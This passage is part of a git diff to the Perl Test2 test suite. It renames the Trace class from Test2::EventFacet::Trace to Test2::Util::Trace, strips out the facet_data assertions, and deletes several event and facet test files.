0, 'diagnostics'); -is($one->no_display, 0, 'no_display'); -is($one->subtest_id, undef, 'subtest_id'); -is($one->terminate, undef, 'terminate'); -is($one->global, undef, 'global'); -is($one->sets_plan, undef, 'sets_plan'); -is($one->causes_fail, 1, 'causes_fail'); - -$one->add_amnesty({tag => 'blah', details => 'blah'}); -is($one->causes_fail, 0, 'causes_fail is off with amnesty'); - -$one->add_info({tag => 'xxx', details => 'yyy'}); - -is_deeply( - $one->facet_data, - { - about => {package => $CLASS, details => 'fail'}, - assert => {pass => 0, details => 'no soup for you'}, - amnesty => [{tag => 'blah', details => 'blah'}], - info => [{tag => 'xxx', details => 'yyy'}], - }, - "Got facet data" -); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Event/Generic.t b/cpan/Test-Simple/t/Test2/modules/Event/Generic.t index 10d57ec6eedd..5598bee0ba4c 100644 --- a/cpan/Test-Simple/t/Test2/modules/Event/Generic.t +++ b/cpan/Test-Simple/t/Test2/modules/Event/Generic.t @@ -2,7 +2,7 @@ use strict; use warnings; use Test2::Tools::Tiny; -use Test2::EventFacet::Trace; +use Test2::Util::Trace; use Test2::API qw/context intercept/; @@ -27,18 +27,6 @@ is_deeply( increments_count => 0, diagnostics => 0, no_display => 0, - hubs => [ - { - 'buffered' => 0, - 'details' => 'Test2::Hub::Interceptor', - 'hid' => "$$~0~2", - 'ipc' => 0, - 'nested' => 0, - 'pid' => $$, - 'tid' => 0, - 'uuid' => undef - } - ], }, "Defaults" ); diff --git a/cpan/Test-Simple/t/Test2/modules/Event/Note.t b/cpan/Test-Simple/t/Test2/modules/Event/Note.t index 5ad7e69d97c1..0292986aab39 100644 --- a/cpan/Test-Simple/t/Test2/modules/Event/Note.t +++ b/cpan/Test-Simple/t/Test2/modules/Event/Note.t @@ -3,17 +3,17 @@ use warnings; use Test2::Tools::Tiny; use Test2::Event::Note; -use Test2::EventFacet::Trace; +use Test2::Util::Trace; my $note = Test2::Event::Note->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), message => 'foo', ); is($note->summary, 'foo', "summary is just message"); $note = Test2::Event::Note->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), message => undef, ); @@ -21,30 +21,10 @@ is($note->message, 'undef', "set undef message to undef"); is($note->summary, 'undef', "summary is just message even when undef"); $note = Test2::Event::Note->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), message => {}, ); like($note->message, qr/^HASH\(.*\)$/, "stringified the input value"); -$note = Test2::Event::Note->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), - message => 'Hi there', -); - -my $facet_data = $note->facet_data; -ok($facet_data->{about}, "Got 'about' from common"); -ok($facet_data->{trace}, "Got 'trace' from common"); - -is_deeply( - $facet_data->{info}, - [{ - tag => 'NOTE', - debug => 0, - details => 'Hi there', - }], - "Got info facet" -); - - done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Event/Ok.t b/cpan/Test-Simple/t/Test2/modules/Event/Ok.t index fa1121796574..01c255cb1bf5 100644 --- a/cpan/Test-Simple/t/Test2/modules/Event/Ok.t +++ b/cpan/Test-Simple/t/Test2/modules/Event/Ok.t @@ -2,7 +2,7 @@ use strict; use warnings; use Test2::Tools::Tiny; -use Test2::EventFacet::Trace; +use Test2::Util::Trace; use Test2::Event::Ok; use Test2::Event::Diag; @@ -11,7 +11,7 @@ use Test2::API qw/context/; my $trace; sub before_each { # Make sure there is a fresh trace object for each group - $trace = Test2::EventFacet::Trace->new( + $trace = Test2::Util::Trace->new( frame => ['main_foo', 'foo.t', 42, 'main_foo::flubnarb'], ); } @@ -29,20 +29,6 @@ tests Passing => sub { is($ok->effective_pass, 1, "effective pass"); is($ok->summary, "the_test", "Summary is just the name of the test"); - my $facet_data = $ok->facet_data; - ok($facet_data->{about}, "got common facet data"); - ok(!$facet_data->{amnesty}, "No amnesty by default"); - is_deeply( - $facet_data->{assert}, - { - no_debug => 1, - pass => 1, - details => 'the_test', - }, - "Got assert facet", - ); - - $ok = Test2::Event::Ok->new( trace => $trace, pass => 1, @@ -50,18 +36,6 @@ tests Passing => sub { ); is($ok->summary, "Nameless Assertion", "Nameless test"); - $facet_data = $ok->facet_data; - ok($facet_data->{about}, "got common facet data"); - ok(!$facet_data->{amnesty}, "No amnesty by default"); - is_deeply( - $facet_data->{assert}, - { - no_debug => 1, - pass => 1, - details => '', - }, - "Got assert facet", - ); }; tests Failing => sub { @@ -78,19 +52,6 @@ tests Failing => sub { is($ok->name, 'the_test', "got name"); is($ok->effective_pass, 0, "effective pass"); is($ok->summary, "the_test", "Summary is just the name of the test"); - - my $facet_data = $ok->facet_data; - ok($facet_data->{about}, "got common facet data"); - ok(!$facet_data->{amnesty}, "No amnesty by default"); - is_deeply( - $facet_data->{assert}, - { - no_debug => 1, - pass => 0, - details => 'the_test', - }, - "Got assert facet", - ); }; tests "Failing TODO" => sub { @@ -108,27 +69,6 @@ tests "Failing TODO" => sub { is($ok->effective_pass, 1, "effective pass is true from todo"); is($ok->summary, "the_test (TODO: A Todo)", "Summary is just the name of the test + todo"); - my $facet_data = $ok->facet_data; - ok($facet_data->{about}, "got common facet data"); - is_deeply( - $facet_data->{assert}, - { - no_debug => 1, - pass => 0, - details => 'the_test', - }, - "Got assert facet", - ); - is_deeply( - $facet_data->{amnesty}, - [{ - tag => 'TODO', - details => 'A Todo', - }], - "Got amnesty facet", - ); - - $ok = Test2::Event::Ok->new( trace => $trace, pass => 0, @@ -137,27 +77,6 @@ tests "Failing TODO" => sub { ); ok($ok->effective_pass, "empty string todo is still a todo"); is($ok->summary, "the_test2 (TODO)", "Summary is just the name of the test + todo"); - - $facet_data = $ok->facet_data; - ok($facet_data->{about}, "got common facet data"); - is_deeply( - $facet_data->{assert}, - { - no_debug => 1, - pass => 0, - details => 'the_test2', - }, - "Got assert facet", - ); - is_deeply( - $facet_data->{amnesty}, - [{ - tag => 'TODO', - details => '', - }], - "Got amnesty facet", - ); - }; tests init => sub { diff --git a/cpan/Test-Simple/t/Test2/modules/Event/Pass.t b/cpan/Test-Simple/t/Test2/modules/Event/Pass.t deleted file mode 100644 index 52c71ea507c5..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/Event/Pass.t +++ /dev/null @@ -1,37 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; -use Test2::API qw/intercept context/; - -use ok 'Test2::Event::Pass'; -my $CLASS = 'Test2::Event::Pass'; - -my $one = $CLASS->new(name => 'soup for you', trace => {frame => ['foo', 'foo.pl', 42]}); - -is($one->summary, "pass", 'summary'); -is($one->increments_count, 1, 'increments_count'); -is($one->diagnostics, 0, 'diagnostics'); -is($one->no_display, 0, 'no_display'); -is($one->subtest_id, undef, 'subtest_id'); -is($one->terminate, undef, 'terminate'); -is($one->global, undef, 'global'); -is($one->sets_plan, undef, 'sets_plan'); -is($one->causes_fail, 0, 'causes_fail is false'); - -$one->add_amnesty({tag => 'blah', details => 'blah'}); -$one->add_info({tag => 'xxx', details => 'yyy'}); - -is_deeply( - $one->facet_data, - { - trace => {frame => ['foo', 'foo.pl', 42]}, - about => {package => $CLASS, details => 'pass'}, - assert => {pass => 1, details => 'soup for you'}, - amnesty => [{tag => 'blah', details => 'blah'}], - info => [{tag => 'xxx', details => 'yyy'}], - }, - "Got facet data" -); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Event/Plan.t b/cpan/Test-Simple/t/Test2/modules/Event/Plan.t index 4b81476fbfc6..25db4a57bf2a 100644 --- a/cpan/Test-Simple/t/Test2/modules/Event/Plan.t +++ b/cpan/Test-Simple/t/Test2/modules/Event/Plan.t @@ -3,10 +3,10 @@ use warnings; use Test2::Tools::Tiny; use Test2::Event::Plan; -use Test2::EventFacet::Trace; +use Test2::Util::Trace; my $plan = Test2::Event::Plan->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), max => 100, ); @@ -14,11 +14,17 @@ is($plan->summary, "Plan is 100 assertions", "simple summary"); is_deeply( [$plan->sets_plan], [100, '', undef], "Got plan details"); ok(!$plan->global, "regular plan is not a global event"); +my $state = Test2::Hub->new; +$plan->callback($state); +is($state->plan, 100, "set plan in state"); is($plan->terminate, undef, "No terminate for normal plan"); $plan->set_max(0); $plan->set_directive('SKIP'); $plan->set_reason('foo'); +$state = Test2::Hub->new; +$plan->callback($state); +is($state->plan, 'SKIP', "set plan in state"); is($plan->terminate, 0, "Terminate 0 on skip_all"); is($plan->summary, "Plan is 'SKIP', foo", "skip summary"); @@ -29,19 +35,24 @@ $plan->set_directive('NO PLAN'); $plan->set_reason(undef); is($plan->summary, "Plan is 'NO PLAN'", "NO PLAN summary"); is_deeply( [$plan->sets_plan], [0, 'NO PLAN', undef], "Got 'NO PLAN' details"); +$state = Test2::Hub->new; +$plan->callback($state); +is($state->plan, 'NO PLAN', "set plan in state"); is($plan->terminate, undef, "No terminate for no_plan"); $plan->set_max(100); $plan->set_directive(undef); +$plan->callback($state); +is($state->plan, '100', "Update plan in state if it is 'NO PLAN'"); $plan = Test2::Event::Plan->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), max => 0, directive => 'skip_all', ); is($plan->directive, 'SKIP', "Change skip_all to SKIP"); $plan = Test2::Event::Plan->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), max => 0, directive => 'no_plan', ); @@ -51,7 +62,7 @@ ok(!$plan->global, "NO PLAN is not global"); like( exception { $plan = Test2::Event::Plan->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), max => 0, directive => 'foo', ); @@ -63,7 +74,7 @@ like( like( exception { $plan = Test2::Event::Plan->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), max => 0, reason => 'foo', ); @@ -75,7 +86,7 @@ like( like( exception { $plan = Test2::Event::Plan->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), ); }, qr/No number of tests specified/, @@ -85,7 +96,7 @@ like( like( exception { $plan = Test2::Event::Plan->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), max => 'skip', ); }, @@ -93,64 +104,4 @@ like( "Max must be an integer" ); -$plan = Test2::Event::Plan->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), - max => 100, -); - -my $facet_data = $plan->facet_data; -ok($facet_data->{about}, "Got common facet data"); -is($facet_data->{control}->{terminate}, undef, "no termination defined"); -is_deeply( - $facet_data->{plan}, - {count => 100}, - "Set the count" -); - -$plan = Test2::Event::Plan->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), - max => 0, - directive => 'NO PLAN', -); - -$facet_data = $plan->facet_data; -ok($facet_data->{about}, "Got common facet data"); -is($facet_data->{control}->{terminate}, undef, "no termination defined"); -is_deeply( - $facet_data->{plan}, - {count => 0, none => 1}, - "No plan" -); - -$plan = Test2::Event::Plan->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), - max => 0, - directive => 'SKIP', -); - -$facet_data = $plan->facet_data; -ok($facet_data->{about}, "Got common facet data"); -is($facet_data->{control}->{terminate}, 0, "terminate with 0"); -is_deeply( - $facet_data->{plan}, - {count => 0, skip => 1}, - "Skip, no reason" -); - -$plan = Test2::Event::Plan->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), - max => 0, - directive => 'SKIP', - reason => 'because', -); - -$facet_data = $plan->facet_data; -ok($facet_data->{about}, "Got common facet data"); -is($facet_data->{control}->{terminate}, 0, "terminate with 0"); -is_deeply( - $facet_data->{plan}, - {count => 0, skip => 1, details => 'because'}, - "Skip, no reason" -); - done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Event/Skip.t b/cpan/Test-Simple/t/Test2/modules/Event/Skip.t index 5910fb6dfe66..89018794ee1d 100644 --- a/cpan/Test-Simple/t/Test2/modules/Event/Skip.t +++ b/cpan/Test-Simple/t/Test2/modules/Event/Skip.t @@ -3,28 +3,14 @@ use strict; use warnings; use Test2::Event::Skip; -use Test2::EventFacet::Trace; +use Test2::Util::Trace; my $skip = Test2::Event::Skip->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), name => 'skip me', reason => 'foo', ); -my $facet_data = $skip->facet_data; -ok($facet_data->{about}, "Got basic data"); -is_deeply( - $facet_data->{amnesty}, - [ - { - tag => 'skip', - details => 'foo', - inherited => 0, - } - ], - "Added some amnesty for the skip", -); - is($skip->name, 'skip me', "set name"); is($skip->reason, 'foo', "got skip reason"); ok(!$skip->pass, "no default for pass"); diff --git a/cpan/Test-Simple/t/Test2/modules/Event/Subtest.t b/cpan/Test-Simple/t/Test2/modules/Event/Subtest.t index 209c48ec6429..56e1184079f1 100644 --- a/cpan/Test-Simple/t/Test2/modules/Event/Subtest.t +++ b/cpan/Test-Simple/t/Test2/modules/Event/Subtest.t @@ -5,7 +5,7 @@ use Test2::Tools::Tiny; use Test2::Event::Subtest; my $st = 'Test2::Event::Subtest'; -my $trace = Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']); +my $trace = Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']); my $one = $st->new( trace => $trace, pass => 1, @@ -27,31 +27,4 @@ $one->set_todo(undef); $one->set_name(''); is($one->summary, "Nameless Subtest", "unnamed summary"); -require Test2::Event::Pass; -push @{$one->subevents} => Test2::Event::Pass->new(name => 'xxx'); - -my $facet_data = $one->facet_data; -ok($facet_data->{about}, "got parent facet data"); - -is_deeply( - $facet_data->{parent}, - { - hid => "1-1-1", - buffered => 1, - children => [ - { - about => { - details => 'pass', - package => 'Test2::Event::Pass' - }, - assert => { - details => 'xxx', - pass => 1 - }, - } - ], - }, - "Got facet data" -); - done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Event/TAP/Version.t b/cpan/Test-Simple/t/Test2/modules/Event/TAP/Version.t deleted file mode 100644 index a1fd6b900c09..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/Event/TAP/Version.t +++ /dev/null @@ -1,28 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; - -use ok 'Test2::Event::TAP::Version'; -my $CLASS = 'Test2::Event::TAP::Version'; - -like( - exception { $CLASS->new() }, - qr/'version' is a required attribute/, - "Must specify the version" -); - -my $one = $CLASS->new(version => 13); -is($one->version, 13, "Got version"); -is($one->summary, "TAP version 13", "Got summary"); - -is_deeply( - $one->facet_data, - { - about => { package => $CLASS, details => "TAP version 13"}, - info => [{tag => 'INFO', debug => 0, details => "TAP version 13"}], - }, - "Got facet data" -); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Event/V2.t b/cpan/Test-Simple/t/Test2/modules/Event/V2.t deleted file mode 100644 index 5214bafd4df0..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/Event/V2.t +++ /dev/null @@ -1,101 +0,0 @@ -use strict; -use warnings; -use Test2::Tools::Tiny; - -use Test2::API qw/context intercept/; - -use Test2::Event::V2(); - -my $CLASS = 'Test2::Event::V2'; - -ok($CLASS->isa('Test2::Event'), "Subclass of Test2::Event"); - -is_deeply( - [Test2::Event::V2->non_facet_keys], - ['uuid', '_meta'], - "Got non-facet keys" -); - -ok($CLASS->can($_), "has method $_") for qw{ - causes_fail diagnostics global increments_count no_display sets_plan - subtest_id summary terminate - uuid set_uuid - meta - facet_data - about -}; - -ok(!exception { $CLASS->new(uuid => 2, about => {uuid => 2}) }, "Can have matching uuids"); - -like( - exception { $CLASS->new(uuid => 1, about => {uuid => 2}) }, - qr/uuid '1' passed to constructor, but uuid '2' is already set in the 'about' facet/, - "Cannot have a uuid mismatch" -); - -my $one = $CLASS->new(uuid => 123); -is($one->about->{uuid}, 123, "Set uuid in about facet"); - -$one = $CLASS->new(about => { uuid => 123 }); -is($one->uuid, 123, "set uuid attribute"); - -my $trace = {frame => ['main', 'file.t', 42, 'foo'], tid => 0, pid => $$}; -$one = $CLASS->new(trace => $trace); -ok($trace != $one->trace, "Did not keep or modify the original trace ref"); -ok($one->trace->isa('Test2::EventFacet::Trace'), "Blessed the trace"); -is_deeply($one->trace, $trace, "Trace has all data"); - -$one = $CLASS->new; -ok(!$one->uuid, "no uuid attribute"); -ok(!$one->about->{uuid}, "no uuid in about facet"); -$one->set_uuid(123); -is($one->about->{uuid}, 123, "Set uuid in about facet"); -is($one->uuid, 123, "set uuid attribute"); - - -$one = $CLASS->new( - uuid => '123', - trace => $trace, - assert => {pass => 1, details => 'pass'}, - info => [{tag => 'NOTE', details => 'a note'}], -); - -$one->set_meta('foo' => {'xyz' => 1}); - -$one->{_custom_sttr} = 'xxx'; - -is_deeply( - $one->facet_data, - { - trace => $trace, - assert => {pass => 1, details => 'pass'}, - info => [{tag => 'NOTE', details => 'a note'}], - meta => {foo => {'xyz' => 1}}, - about => {uuid => 123}, - }, - "Facet data has everything we want, and nothing we do not" -); - -sub my_tool { - my $ctx = context(); - - my $event = $ctx->send_ev2(info => [{tag => 'NOTE', details => "This is a note"}]); - - $ctx->release; - - return $event; -} - -my $events = intercept { - my_tool(); -}; - -is(@$events, 1, "Got 1 event"); -ok($events->[0]->isa($CLASS), "Created the right type of event"); -is_deeply( - $events->[0]->facet_data->{info}, - [{tag => 'NOTE', details => "This is a note"}], - "Got the specified info facet" -); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Event/Waiting.t b/cpan/Test-Simple/t/Test2/modules/Event/Waiting.t index be278b5937a6..26b7fbb41f3b 100644 --- a/cpan/Test-Simple/t/Test2/modules/Event/Waiting.t +++ b/cpan/Test-Simple/t/Test2/modules/Event/Waiting.t @@ -5,7 +5,7 @@ use Test2::Tools::Tiny; use Test2::Event::Waiting; my $waiting = Test2::Event::Waiting->new( - trace => {}, + trace => 'fake', ); ok($waiting, "Created event"); @@ -13,19 +13,4 @@ ok($waiting->global, "waiting is global"); is($waiting->summary, "IPC is waiting for children to finish...", "Got summary"); -my $facet_data = $waiting->facet_data; -ok($facet_data->{about}, "Got common facet data"); - -is_deeply( - $facet_data->{info}, - [ - { - tag => 'INFO', - debug => 0, - details => "IPC is waiting for children to finish...", - }, - ], - "Got added info facet" -); - done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/EventFacet.t b/cpan/Test-Simple/t/Test2/modules/EventFacet.t deleted file mode 100644 index 44698320c641..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/EventFacet.t +++ /dev/null @@ -1,24 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; - -use ok 'Test2::EventFacet'; -my $CLASS = 'Test2::EventFacet'; - -my $one = $CLASS->new(details => 'foo'); - -is($one->details, "foo", "Got details"); - -is_deeply($one->clone, $one, "Cloning."); - -isnt($one->clone, $one, "Clone is a new ref"); - -my $two = $one->clone(details => 'bar'); -is($one->details, 'foo', "Original details unchanged"); -is($two->details, 'bar', "Clone details changed"); - -ok(!$CLASS->is_list, "Not a list by default"); -ok(!$CLASS->facet_key, "No key for base class"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/EventFacet/About.t b/cpan/Test-Simple/t/Test2/modules/EventFacet/About.t deleted file mode 100644 index 55e33763f624..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/EventFacet/About.t +++ /dev/null @@ -1,21 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; - -use ok 'Test2::EventFacet::About'; -my $CLASS = 'Test2::EventFacet::About'; - -my $one = $CLASS->new(details => 'foo', package => 'bar', no_display => 0); - -is($one->details, "foo", "Got details"); -is($one->package, "bar", "Got package"); -is($one->no_display, 0, "Got no_display value"); - -is_deeply($one->clone, $one, "Cloning."); -isnt($one->clone, $one, "Clone is a new ref"); - -ok(!$CLASS->is_list, "Not a list"); -is($CLASS->facet_key, 'about', "Got key"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/EventFacet/Amnesty.t b/cpan/Test-Simple/t/Test2/modules/EventFacet/Amnesty.t deleted file mode 100644 index ae6a24f9a469..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/EventFacet/Amnesty.t +++ /dev/null @@ -1,21 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; - -use ok 'Test2::EventFacet::Amnesty'; -my $CLASS = 'Test2::EventFacet::Amnesty'; - -my $one = $CLASS->new(details => 'foo', tag => 'bar', inherited => 0); - -is($one->details, "foo", "Got details"); -is($one->tag, "bar", "Got tag"); -is($one->inherited, 0, "Got 'inherited' value"); - -is_deeply($one->clone, $one, "Cloning."); -isnt($one->clone, $one, "Clone is a new ref"); - -ok($CLASS->is_list, "is a list"); -is($CLASS->facet_key, 'amnesty', "Got key"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/EventFacet/Assert.t b/cpan/Test-Simple/t/Test2/modules/EventFacet/Assert.t deleted file mode 100644 index c7252e5f4bd6..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/EventFacet/Assert.t +++ /dev/null @@ -1,21 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; - -use ok 'Test2::EventFacet::Assert'; -my $CLASS = 'Test2::EventFacet::Assert'; - -my $one = $CLASS->new(details => 'foo', pass => 1, no_debug => 1); - -is($one->details, "foo", "Got details"); -is($one->pass, 1, "Got 'pass' value"); -is($one->no_debug, 1, "Got 'no_debug' value"); - -is_deeply($one->clone, $one, "Cloning."); -isnt($one->clone, $one, "Clone is a new ref"); - -ok(!$CLASS->is_list, "is not a list"); -is($CLASS->facet_key, 'assert', "Got key"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/EventFacet/Control.t b/cpan/Test-Simple/t/Test2/modules/EventFacet/Control.t deleted file mode 100644 index 4249a9e988aa..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/EventFacet/Control.t +++ /dev/null @@ -1,24 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; - -use ok 'Test2::EventFacet::Control'; -my $CLASS = 'Test2::EventFacet::Control'; - -my $one = $CLASS->new(details => 'foo', global => 0, terminate => undef, halt => 0, has_callback => 1, encoding => 'utf8'); - -is($one->details, "foo", "Got details"); -is($one->global, 0, "Got 'global' value"); -is($one->terminate, undef, "Got 'terminate' value"); -is($one->halt, 0, "Got 'halt' value"); -is($one->has_callback, 1, "Got 'has_callback' value"); -is($one->encoding, 'utf8', "Got 'utf8' value"); - -is_deeply($one->clone, $one, "Cloning."); -isnt($one->clone, $one, "Clone is a new ref"); - -ok(!$CLASS->is_list, "is not a list"); -is($CLASS->facet_key, 'control', "Got key"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/EventFacet/Error.t b/cpan/Test-Simple/t/Test2/modules/EventFacet/Error.t deleted file mode 100644 index 0bd874b1c9af..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/EventFacet/Error.t +++ /dev/null @@ -1,21 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; - -use ok 'Test2::EventFacet::Error'; -my $CLASS = 'Test2::EventFacet::Error'; - -my $one = $CLASS->new(details => 'foo', tag => 'uhg', fail => 1); - -is($one->details, "foo", "Got details"); -is($one->tag, 'uhg', "Got 'tag' value"); -is($one->fail, 1, "Got 'fail' value"); - -is_deeply($one->clone, $one, "Cloning."); -isnt($one->clone, $one, "Clone is a new ref"); - -ok($CLASS->is_list, "is a list"); -is($CLASS->facet_key, 'errors', "Got key"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/EventFacet/Info.t b/cpan/Test-Simple/t/Test2/modules/EventFacet/Info.t deleted file mode 100644 index 080f3d2fbaee..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/EventFacet/Info.t +++ /dev/null @@ -1,21 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; - -use ok 'Test2::EventFacet::Info'; -my $CLASS = 'Test2::EventFacet::Info'; - -my $one = $CLASS->new(details => 'foo', tag => 'bar', debug => 0); - -is($one->details, "foo", "Got details"); -is($one->tag, "bar", "Got tag"); -is($one->debug, 0, "Got 'debug' value"); - -is_deeply($one->clone, $one, "Cloning."); -isnt($one->clone, $one, "Clone is a new ref"); - -ok($CLASS->is_list, "is a list"); -is($CLASS->facet_key, 'info', "Got key"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/EventFacet/Meta.t b/cpan/Test-Simple/t/Test2/modules/EventFacet/Meta.t deleted file mode 100644 index 5a51fecf00f1..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/EventFacet/Meta.t +++ /dev/null @@ -1,25 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; - -use ok 'Test2::EventFacet::Meta'; -my $CLASS = 'Test2::EventFacet::Meta'; - -my $one = $CLASS->new(details => 'foo', a => 1, b => 'bar', x => undef, set_details => 'xxx'); - -is($one->details, "foo", "Got details"); -is($one->set_details, "xxx", "set_details is a regular field, not a writer"); - -is($one->a, 1, "Got 'a'"); -is($one->b, 'bar', "Got 'b'"); -is($one->x, undef, "Got 'x'"); -is($one->blah, undef, "Vivified 'blah'"); - -is_deeply($one->clone, $one, "Cloning."); -isnt($one->clone, $one, "Clone is a new ref"); - -ok(!$CLASS->is_list, "is not a list"); -is($CLASS->facet_key, 'meta', "Got key"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/EventFacet/Parent.t b/cpan/Test-Simple/t/Test2/modules/EventFacet/Parent.t deleted file mode 100644 index 8667f0b81dd2..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/EventFacet/Parent.t +++ /dev/null @@ -1,22 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; - -use ok 'Test2::EventFacet::Parent'; -my $CLASS = 'Test2::EventFacet::Parent'; - -my $one = $CLASS->new(details => 'foo', hid => 'abc', children => [], buffered => 1); - -is($one->details, "foo", "Got details"); -is($one->hid, 'abc', "Got 'hid' value"); -is($one->buffered, 1, "Got 'buffered' value"); -is_deeply($one->children, [], "Got 'children' value"); - -is_deeply($one->clone, $one, "Cloning."); -isnt($one->clone, $one, "Clone is a new ref"); - -ok(!$CLASS->is_list, "is not a list"); -is($CLASS->facet_key, 'parent', "Got key"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/EventFacet/Plan.t b/cpan/Test-Simple/t/Test2/modules/EventFacet/Plan.t deleted file mode 100644 index efb28c352246..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/EventFacet/Plan.t +++ /dev/null @@ -1,22 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; - -use ok 'Test2::EventFacet::Plan'; -my $CLASS = 'Test2::EventFacet::Plan'; - -my $one = $CLASS->new(details => 'foo', count => 100, skip => 1, none => 0); - -is($one->details, "foo", "Got details"); -is($one->count, 100, "Got 'count' value"); -is($one->skip, 1, "Got 'skip' value"); -is($one->none, 0, "Got 'none' value"); - -is_deeply($one->clone, $one, "Cloning."); -isnt($one->clone, $one, "Clone is a new ref"); - -ok(!$CLASS->is_list, "is not a list"); -is($CLASS->facet_key, 'plan', "Got key"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/EventFacet/Trace.t b/cpan/Test-Simple/t/Test2/modules/EventFacet/Trace.t deleted file mode 100644 index 7736cf9ffbe9..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/EventFacet/Trace.t +++ /dev/null @@ -1,46 +0,0 @@ -use strict; -use warnings; -use Test2::Tools::Tiny; -use Test2::EventFacet::Trace; - -my $CLASS = 'Test2::EventFacet::Trace'; - -like( - exception { $CLASS->new() }, - qr/The 'frame' attribute is required/, - "got error" -); - -my $one = $CLASS->new(frame => ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo']); -is_deeply($one->frame, ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo'], "Got frame"); -is_deeply([$one->call], ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo'], "Got call"); -is($one->package, 'Foo::Bar', "Got package"); -is($one->file, 'foo.t', "Got file"); -is($one->line, 5, "Got line"); -is($one->subname, 'Foo::Bar::foo', "got subname"); - -is($one->debug, "at foo.t line 5", "got trace"); -$one->set_detail("yo momma"); -is($one->debug, "yo momma", "got detail for trace"); -$one->set_detail(undef); - -is( - exception { $one->throw('I died') }, - "I died at foo.t line 5.\n", - "got exception" -); - -is_deeply( - warnings { $one->alert('I cried') }, - [ "I cried at foo.t line 5.\n" ], - "alter() warns" 